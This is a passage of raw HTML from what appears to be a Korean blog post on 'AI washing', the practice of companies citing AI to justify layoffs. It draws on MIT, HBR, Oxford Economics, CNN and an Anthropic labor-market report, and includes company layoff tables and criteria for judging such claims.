&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2022년 11월&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;ChatGPT 출시&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;해당 없음 (아직 해고와 연결되지 않음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2023년&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;빅테크 대규모 해고 (Meta, Google, Amazon 등)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;거시경제 불확실성&quot;, &quot;과잉 채용 정상화&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2024년&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 관련 해고 언급 시작 (Duolingo, UPS 등)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;AI 효율화&quot; 첫 등장, 아직 소수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2025년 상반기&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 해고 언급 급증 (55,000건)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;AI 전환&quot;, &quot;AI 에이전트 도입&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2025년 하반기&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;MIT &quot;95% ROI 실패&quot; 보고서, HBR &quot;AI 워싱&quot; 기사&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;학계/언론에서 AI 워싱 반론 본격화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2026년 2월&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Block 4,000명 해고 -- 역대 최대 규모 AI 명분 해고&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&quot;AI가 회사 운영을 바꿨다&quot;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2026년 3월&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Anthropic 노동시장 보고서 발표&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;AI 영향 체계적 측정 첫 시도&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 타임라인에서 주목할 패턴이 있다. 2023년에는 &quot;경제가 어려워서&quot; 해고하더니, 2025~2026년에는 같은 기업들이 &quot;AI가 대체해서&quot; 해고한다. 해고의 규모와 패턴은 비슷한데, &lt;b&gt;명분만 바뀐 것&lt;/b&gt;이다. 이것이 &quot;AI 워싱&quot; 의혹의 핵심 근거이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 기업별 AI 관련 해고 현황&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 2025~2026년 AI를 해고 이유로 언급한 주요 기업들의 현황이다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;기업&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #2a5a82;&quot;&gt;해고 규모&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;시기&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;AI 언급 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Block&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;4,000+&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.02&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;AI가 회사 운영의 의미를 바꿨다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Meta&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;약 1,500&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.02&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Reality Labs 10% 감축, AI로 피봇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Ocado&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;1,000&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.03&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 자동화 관련 구조조정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Salesforce&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;수천 명&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2025~2026&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 에이전트(Agentforce)가 인력 대체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Amazon&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;수천 명&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2025~2026&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 효율화, 관리직 비율 축소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.jobgonetoai.com/tracker&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jobgonetoai.com&lt;/a&gt;, 각 기업 발표 자료 종합. Salesforce, Amazon의 경우 공식 발표에서 AI를 부분적으로 언급했으며, 정확한 해고 인원은 공개된 보도 자료에 따라 다를 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;패턴이 보이는가?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;공통점이 있다. 대부분 팬데믹 기간 공격적으로 채용을 확대한 기업이며, AI를 해고의 &lt;b&gt;&quot;이유&quot;&lt;/b&gt;로 제시하면서도 실제로 AI가 해당 직무를 대체했다는 구체적 증거는 거의 공개하지 않는다. &quot;AI가 대체했다&quot;가 아니라 &quot;AI가 대체할 것이다&quot;라는 미래형이 대부분이다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 4: AI 워싱이란 무엇인가 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. &quot;AI 워싱&quot;이란 무엇인가 -- MIT, Oxford, HBR 연구&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 워싱의 정의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AI 워싱(AI Washing)&lt;/b&gt;이란, 기업이 실질적인 AI 도입이나 성과 없이 &quot;AI&quot;라는 용어를 전략적으로 활용하여 경영 결정(특히 해고)을 정당화하거나 투자자에게 호의적 이미지를 구축하는 행위를 말한다. &quot;그린 워싱(Green Washing)&quot;에서 파생된 용어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TechCrunch는 2026년 2월 기사에서 이 현상을 정면으로 다루었고, Bloomberg은 Block의 해고를 두고 &lt;b&gt;&quot;AI 워싱 의혹(Suspicions of AI-Washing)&quot;&lt;/b&gt;이라는 헤드라인을 달았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MIT: 기업 AI 파일럿의 95%가 ROI 제로&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MIT의 연구 보고서 &lt;b&gt;&quot;The GenAI Divide: State of AI in Business 2025&quot;&lt;/b&gt;는 기업 AI 투자의 현실을 적나라하게 보여준다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;기업 AI 투자 규모 (2024~2025)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;$300~400억 (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;GenAI 도구 탐색 경험 기업&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;80%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;배포(Deployment) 단계 진입 기업&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;40%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;프로덕션 환경 실가동 도달&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5%&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;측정 가능한 P&amp;amp;L 임팩트 달성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5% (= 95%가 ROI 제로)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, MIT 보고서 보도&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 숫자가 의미하는 바는 명확하다. 기업의 80%가 AI를 &quot;해봤다&quot;고 하지만, 실제로 비즈니스 성과로 이어진 것은 고작 5%에 불과하다는 것이다. 나머지 95%의 기업에서 &quot;AI가 업무를 대체했다&quot;는 주장은 아직은 현실보다는 기대에 가깝다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MIT 연구에서 또 한 가지 주목할 만한 발견은, &lt;b&gt;AI 투자의 ROI가 가장 높은 분야는 영업/마케팅이 아니라 백오피스 자동화&lt;/b&gt;였다는 점이다. 기업 AI 예산의 절반 이상이 영업/마케팅에 투입되고 있지만, 정작 ROI는 다른 곳에서 나오고 있다는 뜻이다. 외부 파트너십을 통한 배포 성공률(66%)이 내부 개발(33%)보다 두 배 높다는 결과도 나왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;HBR: &quot;잠재력 때문에 해고하지, 성과 때문이 아니다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Harvard Business Review(HBR)는 2026년 1월 &lt;b&gt;&quot;Companies Are Laying Off Workers Because of AI's Potential -- Not Its Performance&quot;&lt;/b&gt;라는 제목의 기사를 게재했다. 제목이 핵심을 정확히 찌른다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;HBR 기사 핵심 요약&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 해고는 실제로 일어나고 있다.&lt;/b&gt; 일자리 감소와 채용 둔화는 분명한 현실이다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 하지만 이유가 다르다.&lt;/b&gt; 기업들은 AI가 &quot;현재&quot; 업무를 대체했기 때문이 아니라, AI가 &quot;미래에&quot; 업무를 대체할 것이라는 기대감 때문에 해고하고 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. AI 준비 완료 기업은 극소수이다.&lt;/b&gt; AI 관련 해고를 발표한 기업 중 상당수가 성숙하고 검증된 AI 솔루션을 갖추지 못했다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. &quot;투자자 친화적&quot; 메시지이다.&lt;/b&gt; 경영진의 약 60%가 AI를 해고 이유로 드는 것이 재정적 이유보다 긍정적으로 인식된다고 응답했다.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;(출처: &lt;a href=&quot;https://hbr.org/2026/01/companies-are-laying-off-workers-because-of-ais-potential-not-its-performance&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harvard Business Review, 2026년 1월&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Oxford Economics의 2026년 1월 보고서도 같은 맥락의 분석을 내놓았다. 많은 CEO들이 &quot;AI 관련&quot;이라고 부른 해고가 실제로는 &lt;b&gt;과거 과잉 채용의 결과&lt;/b&gt;라는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한편 CNN Business는 2026년 3월 2일 &lt;b&gt;&quot;AI isn't causing a jobs-pocalypse. At least, not yet&quot;&lt;/b&gt;이라는 기사에서, AI가 아직은 대량 해고의 주범이 아니라고 분석했다. AI가 노동 시장에 영향을 미치고 있는 것은 사실이나, 그 규모는 &quot;일자리 종말(jobs-pocalypse)&quot;이라고 부를 수준에는 이르지 않았다는 것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://edition.cnn.com/2026/03/02/business/ai-tech-jobs-layoffs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNN Business, 2026년 3월&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;정리하면:&lt;/b&gt; &quot;AI 워싱&quot;이란 AI가 실제로 해당 업무를 대체할 준비가 되어 있지 않은데도, CEO들이 &quot;AI 효율화&quot;를 명분으로 해고를 단행하고 이를 &quot;미래 지향적 경영&quot;으로 포장하는 현상이다. MIT, HBR, Oxford Economics, CNN 등 다수의 신뢰할 수 있는 매체와 연구 기관이 이 현상을 지적하고 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;그래도 AI가 실제로 대체한 사례는 있는가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 워싱 논쟁이 뜨겁지만, 공정하게 보면 AI가 실제로 인력을 줄이는 데 기여한 사례도 분명 존재한다. 모든 AI 해고가 &quot;워싱&quot;은 아니다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;영역&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;AI 대체 현황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;실제 vs 과장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;고객 서비스 챗봇&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;1차 문의 응대의 상당 부분을 AI 챗봇이 처리. Klarna는 AI 챗봇이 상담원 700명분의 업무를 처리한다고 발표한 바 있다.&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;실제 효과 있음. 단, 복잡한 문의는 여전히 인간 상담원 필요.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;콘텐츠 생성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;마케팅 카피, 소셜 미디어 포스트, 기본 보도자료 등의 작성에 AI 활용 증가.&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;부분적 효과. 고품질 콘텐츠는 여전히 인간 편집 필요.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;코드 생성/테스트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;GitHub Copilot, Claude Code 등이 개발 생산성 향상에 기여. 일부 기업에서 주니어 개발자 채용 감소 보도.&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;생산성 향상은 실제. 인력 대체는 아직 제한적.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;데이터 입력/처리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;OCR + AI로 문서 디지털화, 데이터 추출 자동화가 상당히 진행.&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;가장 실제적 대체가 일어나는 영역.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;번역/통역&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;DeepL, Google Translate 등의 품질 향상으로 단순 번역 수요 감소.&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;단순 번역은 대체 진행 중. 전문/문학 번역은 한계.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 이것이다: &lt;b&gt;AI가 실제로 효과를 보이는 영역은 존재하지만, 그 범위는 CEO들이 주장하는 것보다 훨씬 좁다.&lt;/b&gt; &quot;고객 서비스 1차 문의 자동화&quot;와 &quot;직원 절반 해고&quot;는 완전히 다른 차원의 이야기이다. 전자는 검증된 현실이고, 후자는 아직 검증되지 않은 기대(또는 명분)이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;AI 워싱 vs 실제 AI 대체 -- 구별 기준&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;어떤 기업의 &quot;AI 해고&quot;가 AI 워싱인지 실제 대체인지 판별하려면 다음을 확인하라:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 구체적 AI 솔루션을 명시하는가?&lt;/b&gt; &quot;AI 효율화&quot;라고만 하면 의심스럽다. &quot;자체 개발한 AI 챗봇이 1차 고객 문의의 80%를 처리하게 되어 상담팀을 축소한다&quot;처럼 구체적이면 신빙성이 높다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 과잉 채용 이력이 있는가?&lt;/b&gt; 팬데믹 기간 직원을 2~3배 늘린 기업이 &quot;AI 때문에 자른다&quot;고 하면, 과잉 채용 정상화일 가능성이 높다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 해고 후 같은 직무를 재채용하는가?&lt;/b&gt; 해고 후 몇 달 뒤 비슷한 직무를 다시 채용한다면, AI 대체가 아니었다는 증거이다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 주가 반응이 목적인가?&lt;/b&gt; 해고 발표 시점이 실적 발표, 투자 유치와 맞물려 있다면, &quot;AI 전환&quot; 내러티브가 투자자 설득용일 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 5: Anthropic 취업 보고서 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Anthropic 취업 보고서 -- 내 직업은 얼마나 위험한가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보고서 핵심 발견&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block 해고 사태가 채 가라앉기도 전인 2026년 3월 5~6일, Anthropic 연구진 Maxim Massenkoff와 Peter McCrory가 &lt;b&gt;&quot;Labor market impacts of AI: A new measure and early evidence&quot;&lt;/b&gt;라는 보고서를 발표했다. 이 보고서는 AI가 노동 시장에 미치는 영향을 체계적으로 측정하려는 시도로, Fortune은 이를 인용하며 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;화이트칼라 노동자를 위한 '대공황(Great Recession)'이 완전히 가능하다&quot;&lt;/b&gt;&lt;/span&gt;는 헤드라인을 달았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보고서의 핵심 발견을 정리하면:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Anthropic 보고서 핵심 발견 4가지&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 이론 vs 현실의 격차:&lt;/b&gt; AI가 &quot;이론적으로&quot; 수행 가능한 업무 비율과 &quot;실제로&quot; 대체하고 있는 비율 사이에 큰 격차가 존재한다. AI의 잠재적 업무 커버리지는 높지만, 실제 도입률은 그 일부에 불과하다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 아직 실업률 영향 없음:&lt;/b&gt; AI 노출도가 가장 높은 직종에서도, 현재까지 실업률에 대한 유의미한 영향은 관측되지 않았다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 신규 채용은 둔화 조짐:&lt;/b&gt; 다만, 22~25세 연령대에서 AI 노출 직종의 신규 채용이 감소하는 &lt;b&gt;잠정적(tentative)&lt;/b&gt; 추세가 관측되었다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 가장 노출도 높은 직종:&lt;/b&gt; 컴퓨터 프로그래머, 고객 서비스, 금융 분석가 등이 상위에 올랐다.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;(출처: &lt;a href=&quot;https://www.anthropic.com/research/labor-market-impacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Research&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/03/06/ai-job-losses-report-anthropic-research-great-recession-for-white-collar-workers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직종별 AI 노출도 표&lt;/h3&gt;
